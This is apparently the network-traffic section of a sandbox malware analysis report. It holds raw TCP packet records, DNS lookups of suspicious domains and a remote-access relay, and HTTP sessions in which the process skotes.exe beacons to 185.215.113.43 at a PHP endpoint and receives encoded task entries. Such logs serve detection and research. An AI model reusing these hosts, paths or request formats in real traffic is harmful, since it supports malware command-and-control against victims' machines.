Dec 16, 2024 21:03:03.666898966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.666941881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.667660952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.667714119 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.667715073 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.667753935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.668497086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.668608904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.668648005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.669362068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.669513941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.669518948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.669554949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.670249939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.670314074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.670361996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.671130896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.671189070 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.671236992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.671278954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.672018051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.672069073 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.672132015 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.672333002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.672981024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.673017025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.673058033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.673813105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.673880100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.673934937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.674663067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.674731970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.674808025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.674851894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.675580978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.675637007 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.675815105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.675858974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.676433086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.676511049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.676557064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.677293062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.677345037 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.677422047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.677469015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.678174019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.678229094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.678276062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.678318024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.679054976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.679107904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.679137945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.679179907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.679951906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.680001974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.680027962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.680066109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.680840015 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.680883884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.680989027 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.681130886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.681736946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.681879044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.681920052 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.682620049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.682670116 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.682730913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.682771921 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.683525085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.683571100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.683617115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.683657885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.684385061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.684458017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.684504986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.685272932 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.685332060 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.685409069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.685612917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.832328081 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.832386971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.832391977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.832422972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.832432985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.832468033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.832588911 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.832643032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.832741976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.832942963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.833493948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.833550930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.833592892 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.834362984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.834417105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.834475994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.834517002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.835280895 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.835427046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.835720062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.835767031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.836138964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.836185932 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.836205006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.836242914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.837027073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.837074995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.837126970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.837162018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.837868929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.837913990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.838011980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.838054895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.838761091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.838805914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.838840008 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.838880062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.839689970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.839732885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.840063095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.840105057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.840538979 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.840599060 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.840650082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.840888977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.841424942 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.841484070 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.841519117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.841552973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.842325926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.842361927 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.842441082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.842588902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.843182087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.843270063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.843281984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.843305111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.844110966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.844147921 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.844261885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.844424963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.844949007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.844993114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.845074892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.845283031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.845940113 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.846111059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.846182108 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.846400023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.846832037 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.846894979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.846901894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.846934080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.847573042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.847696066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.847712994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.847742081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.850614071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.850680113 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.850704908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.850716114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.850744963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.850755930 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.851979971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.851991892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.852010012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.852016926 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.852030039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.852035999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.852044106 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.852066040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.854197979 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854207993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854227066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854237080 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854244947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.854254961 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.854264021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854270935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.854324102 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854357004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.854371071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854410887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.854773045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.854815960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.855068922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.855115891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.855640888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.855652094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.855684042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.855693102 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.856429100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.856477022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.856518984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.856551886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.857337952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.857384920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.857404947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.857444048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.858221054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.858274937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.858402967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.858443022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.859076977 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.859122992 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.859437943 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.859482050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.860043049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.860088110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.860110044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.860152006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.860840082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.860948086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.860955954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.860987902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.861742020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.861865997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.861885071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.861916065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.862595081 CET	80	49882	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 21:02:08.482332945 CET	192.168.2.4	1.1.1.1	0xa71e	Standard query (0)	sperviele.work.gd	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:15.222146034 CET	192.168.2.4	1.1.1.1	0x8091	Standard query (0)	fahrerscheinonlineholen.de	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:17.242206097 CET	192.168.2.4	1.1.1.1	0xaa48	Standard query (0)	eur-automatically.gl.at.ply.gg	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:32.252531052 CET	192.168.2.4	1.1.1.1	0x3752	Standard query (0)	instance-m858nm-relay.screenconnect.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:04.864851952 CET	192.168.2.4	1.1.1.1	0x40de	Standard query (0)	instance-m858nm-relay.screenconnect.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:08.237483025 CET	192.168.2.4	1.1.1.1	0x20b5	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:08.237744093 CET	192.168.2.4	1.1.1.1	0x2e20	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 16, 2024 21:03:14.431977987 CET	192.168.2.4	1.1.1.1	0x4eb1	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:14.431978941 CET	192.168.2.4	1.1.1.1	0x96b7	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 21:03:17.834881067 CET	192.168.2.4	1.1.1.1	0x8e8f	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:17.834881067 CET	192.168.2.4	1.1.1.1	0xb777	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 21:02:09.136931896 CET	1.1.1.1	192.168.2.4	0xa71e	No error (0)	sperviele.work.gd		185.196.8.237	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:15.650764942 CET	1.1.1.1	192.168.2.4	0x8091	No error (0)	fahrerscheinonlineholen.de		104.21.12.184	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:15.650764942 CET	1.1.1.1	192.168.2.4	0x8091	No error (0)	fahrerscheinonlineholen.de		172.67.132.56	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:17.484426022 CET	1.1.1.1	192.168.2.4	0xaa48	No error (0)	eur-automatically.gl.at.ply.gg		147.185.221.24	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:32.548074961 CET	1.1.1.1	192.168.2.4	0x3752	No error (0)	instance-m858nm-relay.screenconnect.com	server-nixe3db3ede-relay.screenconnect.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 21:02:32.548074961 CET	1.1.1.1	192.168.2.4	0x3752	No error (0)	server-nixe3db3ede-relay.screenconnect.com		147.75.80.220	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:57.739343882 CET	1.1.1.1	192.168.2.4	0x8bc3	Name error (3)	drive-connect.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:58.042021036 CET	1.1.1.1	192.168.2.4	0x5d2f	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:58.277626038 CET	1.1.1.1	192.168.2.4	0xb1ab	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:58.508299112 CET	1.1.1.1	192.168.2.4	0xed56	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:58.737853050 CET	1.1.1.1	192.168.2.4	0x38e8	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:58.953984976 CET	1.1.1.1	192.168.2.4	0x20a1	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:59.189407110 CET	1.1.1.1	192.168.2.4	0x87d6	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:59.419073105 CET	1.1.1.1	192.168.2.4	0x8b	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:02:59.635688066 CET	1.1.1.1	192.168.2.4	0x5434	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:05.183165073 CET	1.1.1.1	192.168.2.4	0x40de	No error (0)	instance-m858nm-relay.screenconnect.com	server-nixe3db3ede-relay.screenconnect.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 21:03:05.183165073 CET	1.1.1.1	192.168.2.4	0x40de	No error (0)	server-nixe3db3ede-relay.screenconnect.com		147.75.80.220	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:08.644812107 CET	1.1.1.1	192.168.2.4	0x20b5	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:08.644812107 CET	1.1.1.1	192.168.2.4	0x20b5	No error (0)	httpbin.org		44.196.3.45	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:15.030462027 CET	1.1.1.1	192.168.2.4	0x4eb1	No error (0)	home.twentygr20sb.top		34.141.219.230	A (IP address)	IN (0x0001)	false
Dec 16, 2024 21:03:17.973431110 CET	1.1.1.1	192.168.2.4	0x8e8f	No error (0)	home.twentygr20sb.top		34.141.219.230	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:04.010648012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 21:02:05.423264980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	185.215.113.43	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:07.058842897 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 16, 2024 21:02:08.473647118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 62 62 0d 0a 20 3c 63 3e 31 30 31 36 32 33 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 64 30 63 30 66 39 63 33 34 39 30 33 66 65 38 62 30 38 33 39 36 39 31 66 32 62 62 33 34 34 66 34 63 61 64 61 65 39 65 63 66 36 66 62 64 38 37 30 39 34 35 35 35 62 62 66 34 31 65 31 31 64 30 61 34 39 34 64 39 64 23 31 30 31 36 32 34 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 64 30 63 30 66 39 63 33 35 63 31 32 66 33 38 62 31 62 32 32 37 66 31 30 32 36 66 38 35 61 66 35 64 37 64 66 61 62 65 32 66 63 62 31 63 33 37 30 39 65 34 34 34 32 66 30 35 37 65 31 30 33 34 31 34 30 34 37 39 39 63 38 65 35 35 37 38 38 61 32 64 62 35 64 31 62 66 33 37 62 32 31 66 34 30 63 62 65 64 31 36 36 64 36 36 65 62 31 33 65 62 38 37 32 64 63 35 30 34 62 33 30 66 30 32 63 36 39 32 36 23 31 30 31 36 32 36 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 [TRUNCATED] Data Ascii: 4bb <c>1016235001+++b5937c1ad0c0f9c34903fe8b0839691f2bb344f4cadae9ecf6fbd87094555bbf41e11d0a494d9d#1016247001+++b5937c1ad0c0f9c35c12f38b1b227f1026f85af5d7dfabe2fcb1c3709e4442f057e10341404799c8e55788a2db5d1bf37b21f40cbed166d66eb13eb872dc504b30f02c6926#1016269001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016274001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016275001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016276001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016277001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1016278001+++fc8f7c1ed3c0f9c30b4